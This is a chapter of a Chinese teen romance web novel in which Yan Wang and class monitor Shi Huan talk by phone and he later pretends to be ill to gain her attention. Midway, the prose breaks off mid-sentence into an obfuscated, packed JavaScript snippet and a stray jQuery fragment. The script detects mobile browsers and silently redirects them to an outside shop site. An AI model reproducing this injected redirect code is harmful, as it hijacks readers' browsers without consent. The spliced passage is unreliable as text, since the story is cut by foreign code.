燕望板着脸从沙发上起身,头也不回的打算回到房间去给时欢解释。
身后还能传来亲姐调侃的声音:“我再也不要喜欢她咯~~~”
她都替燕望臊得慌,打脸啪啪响。
燕望自动忽略燕安宁的嘲笑,他三步并两步的回到房间,敲下的字罗里吧嗦,没办法说清楚,他在语音键上停顿了几秒,还是点了过去。
大不了就是被拒绝呗。
又不是没被拒绝过。
燕望觉得自己现在的心理素质已经很强大了。
如果时欢接了电话,对燕望而言,那就算是他赚到了。
另一边的小姑娘意识到自己不小心拍了拍燕望后,已经很是无措,结果没想到燕望又拍了回来,她抱着手机,屏幕上的白光落在时欢的脸上,神色很是懊恼。
她聪明的脑袋没有任何犹豫,果断的放下手机,钻进了被窝里面。
人在最不知所措的时候,只会装傻充愣,试图欺骗自己。
没等时欢的自欺欺人生效,燕望的电话就打了过来。
手机屏幕猛地亮起白光,吓了时欢一跳。
她下意识的接听了电话,等那边传来燕望的声音后,才意识到自己做了什么。
时欢和燕望不是没有打过电话,但这次却总觉得有些不同,甚至略微局促和紧张。
她贴着手机,甚至能听到燕望那边传来稀稀疏疏的声音。
“时欢?”
燕望没想到她会接听,有些不可置信。
“嗯...”
“我那个拍一拍,是很早之前设置的了。”
燕望舌尖抵着腮,眼眸怔怔的望着窗外,神色有些放空。
“你找我有事吗?”
他问着。
“不小心碰到了。”
时欢真要被懊恼给包裹,如果时间能倒退会到刚才,她绝对不会手欠的想去看一看她和燕望的聊天记录!
“时欢,你还难受吗?”
燕望很珍惜跟她打电话的机会,语调轻缓,试探的问着:“咱俩聊聊天?”
“聊什么?”
时欢问着,却也没挂断电话,默许了这种行为,她翻了个身,将垂耳兔玩偶压在手臂下,手指还捏着长长的兔子耳朵。
“聊聊未来?”
燕望:“你以后想做什么?”
“还没想好。”
时欢捏着兔子耳朵,眼眸微敛:“我只想考个好成绩。”
至于专业的事,她想等高考后再定。
她的梦想很短浅,只想考个优秀的成绩,成为省状元,让安暖引以为傲,而以后,则走一步看一步。
小姑娘一板一眼的回答着,却莫名逗笑了燕望。
虽然他现在看不到时欢的神情,却莫名的能想象到,此刻的她一定是小表情认真又呆萌。
“那你能提前告诉我一声不?”
燕望散散懒懒的开口道:“给我个准备时间。”
好让他去找他。
电话那端的声音突然消失,安静到燕望能听到自己的心跳声。
他唇角扯了扯,以为这就是时欢的答案:“不告诉我也没...”
“好。”
两道声音同时响起,时欢嗓音略显慌乱:“燕望,你先等等,我手机要没电了!”
她之前不怎么玩手机,一般早上起来复习时,才会给手机充电,没想到这次居然电量耗竭了。
燕望应了下,耐心的等着。
他听到了电话对面传来的抽屉拉动的声音,隐约间还有女孩儿嘟囔的碎语。
片刻后,燕望再次听到了时欢的声音:“燕望?”
她叫他。
“昂。”
燕望莫名觉得口渴,温凉的水随着喉结滚动,扑灭了几分少年身上的火气:“你刚才说的,是真的?”
时欢手机线有些短,她抱着玩偶趴在床尾,手指绕着充电线:“这有什么好作假的。”
“那你呢?”
时欢反问着:“你的未来,有什么打算?”
他能有什么打算?
打算怎么追她呗。
燕望心想着,却斟酌后没有说的那么直白,两个人抱着手机,一时间倒是都沉默了下来。
“时欢,你突然拍我头像干嘛?”
燕望不想跟时欢挂断电话,于是有一搭没一搭的跟她找话题聊,没意识到自己一个问题问了两次。
“误触到的。”
她含糊着,又一次敷衍过去,她不想让自己莫名其妙的行为被燕望误会。
男生像是相信了:“那你在拍一下看看?”
“干嘛?”
“拍一下嘛。”
燕望学着时欢的语调,声带在微颤间,低沉蛊惑着小姑娘。
时欢贝齿轻轻咬着唇,顺从着燕望的意思,指尖又在他的头像上点了点。
我拍了拍燕望,大声跟随时欢道路,好好学习,天天向上。
时欢看着他的拍一拍,觉得比刚才那个更加羞耻了。
“燕望。”
她喊着:“你干嘛!”
“怎么了?”
罪魁祸首一副无辜的样子:“我跟着班长好好学习都不行?”
“好好学习没错,但你为什么把我名字打上去!”
时欢窘迫,有种做贼心虚的感觉:“你快改掉。”
她怕有人和自己一样,误触了燕望的头像,万一看到他设置的这个拍一拍...时欢感觉自己可以原地挖出来一个三室两厅了。
“那你贿赂贿赂我。”
燕望厚颜无耻:“比如说,见了我不再躲着,再比如说,每日监督我学习。”
时欢:“我什么时候躲着你了?”
她只是尽可能的避免两个人相处。
听着电话那边的人嘴硬,燕望也不计较:“你就说行不行吧。”
“你不要脸!”
时欢犟不过他,气呼呼的骂了句,却还是妥协了。
“我答应你,你给改掉。”
得到自己想要回答,燕望脸上笑意加深,歪理都一套一套的:“脸皮又讨不来媳妇儿。”
他要脸皮有什么用?
他说完,视线落在树梢上的两只麻雀上,小鸟姿态亲昵,引得他都有些羡慕。
“时欢。”
燕望的态度端正了几分,看似玩笑的语气中,夹杂着他都尚且没有意识到的紧张。
“我努力学习,争取跟你上一个地方的大学,行不?”
如果他没考上,他就把公司开到时欢的学校门口。
反正,他这辈子,是注定栽在她身上了。
时欢手中的手机发烫的厉害,她低声嗯了下,嗓音温柔清软,像春风拂过,暖而缓。
“阿望,你昨儿做贼去了?”
林也一大早就趴在燕望的身边,瞪着眼珠子看着自家好兄弟:“这大黑眼圈,都赶上国宝了。”
燕望昨晚一夜没睡,全是时欢那声回应。
可偏偏在最关键的时候,他的手机没电了!
气的燕望一宿都在心惊胆战。
有些事情,话赶话到了那个氛围,自然可以问出口。
可等燕望给手机充上电,在打开和时欢的聊天界面时,却没了在回拨的勇气。
他怕是自己幻想出来的错觉,也怕被时欢在拒绝,在这种反复纠结的情绪中,天终于亮了。
燕望单手撑着,感觉书本上的单词都开始变得模糊:“你滚啊。”
他推开林也,依旧很欠:“老子性别男,爱好女,你离我太近了,很暧昧知道吧!?”
林也:“...”
他就知道,狗嘴里面吐不出来象牙。
时欢先是去了趟办公室,找王楠拿了新的考试表,这才回到教室。
等她拿着固体胶走到教室后面的公告墙时,视线下意识的扫向一侧的燕望。
男生跟没骨头似的靠在墙上,眼眸敛着,清俊的面容上神色淡漠,一副不近人情的疏离姿态。
时欢见状,步伐一顿,转而到了他的桌前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388332|196721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“不舒服?”
燕望本来在闭目养神,见时欢主动过来询问后,瞬间就戏精上身了:“头疼,没力气。”
睡眠不足的确会有这些症状,他不是骗人。
时欢以为是感冒了,有些担心:“是不是发烧了?”
“不知道。”
燕望蔫蔫的回答着,一双黑眸湿漉漉的:“难受。”
林也就在旁边,沉默的看着燕望装可怜,他思考了下,觉得自己这个电灯泡有些亮:“班长,我帮你贴吧。”
他的话音刚落,就收获了自家兄弟一个赞许的目光,林也算是看清楚了,在燕望这里,是摆明着兄弟如衣服呢。
时欢现在满心都是担心燕望,将考试表递给林也后,就坐在了他的位置上:“是发烧了吗?”
她眸色担忧的伸出手,将手背贴在了他的额头上,又比量了下自己的温度:“没事呀。”
“可能,就是有点感冒的前兆。”
燕望抵着女孩儿的手背,嗓音很轻:“你担心我啊?”
时欢觉得燕望的关注点真的很有问题:“你现在不舒服,是关心这些的时候吗?”
“你回答我,我就舒服了。”
气氛中的暧昧升腾,时欢像是缩在壳子里面的小蜗牛,刚察觉到不对劲,就想着收回去:“我有感冒药,我给你拿。”
燕望也不阻拦,对他而言,现在时欢对他的上心,已经意味着他和别的人不一样了。
时欢备的感冒颗粒很苦,一般都是冲开后一口闷,她知道燕望常年喝凉水,干脆将颗粒倒进一次性纸杯,拿着自己的水杯给他冲好:“现在温度刚好,快喝吧。”
时欢知道这感冒药很苦:“你一口闷啊,别品味。”
没有生病的燕望拿着这杯充满关心的感冒药:“...好。”
他仰起头一口直接把药都喝了,哪怕有时欢提前提醒,燕望也被这苦涩的药味给冲的大脑一激灵。
真的,好苦啊。
时欢见燕望五官都皱起后,有些心疼又好笑:“吃块糖。”
在燕望的眼里,时欢的口袋就是百宝箱,里面总是能出现很多成为他心头好的东西。
本来以为小姑娘会掏出她的挚爱旺仔牛奶糖,却不成想,这次套出来的是陈皮糖。
“换种类了?”
时欢迟钝了下,才反应过来他是在说糖果:“最近追的电视剧上,有陈皮糖。”
她是个很容易就被安利到的人。
在加上最近追电视剧有些走火入魔,时欢就买了同款的陈皮糖。
“你还看电视?”
燕望有些不可置信,他还以为自己喜欢的姑娘是个一心只读圣贤书的呢。
“我是人,不是机器。”
时欢没好气的回怼了句,毫无杀伤力,但很凶。
正在后面站着的林也,就那么一副牙疼的样子靠在墙壁上,看着燕望骚包的开始孔雀开屏。
预备铃响起,时欢随手拿走燕望喝完的一次性纸杯,将它丢进了垃圾桶:“记得喝药,预防一下。”
她说完,将自己仅剩的几包感冒颗粒拿给了燕望。
“好。”
男生乖巧的点点头,手中还拿着陈皮糖的糖纸,等林也回来时,就见燕望捏着糖纸发呆。
“怎么了?”
林也:“幸福傻了?”
身为旁观者,林也当然能看出时欢对燕望的与众不同,他是真心为兄弟高兴,却也忍不住想刺他几句。
“有些遗憾。”
燕望依依不舍的将目光从垃圾桶移回来,一边收起自己的陈皮糖纸,一边说道:“那还是欢欢第一次给我倒水呢。”
他本来想珍藏一下杯子的,结果被欢欢丢掉了。
林也:“...”
他看着燕望打开一个精致的小盒子,上面还挂着小锁,里面有旺仔奶糖,饮料瓶,士力架,还有糖纸。
他觉得燕望真的中毒太深:“你真的快成变态了燕望。”
谁家好人会收集这些啊?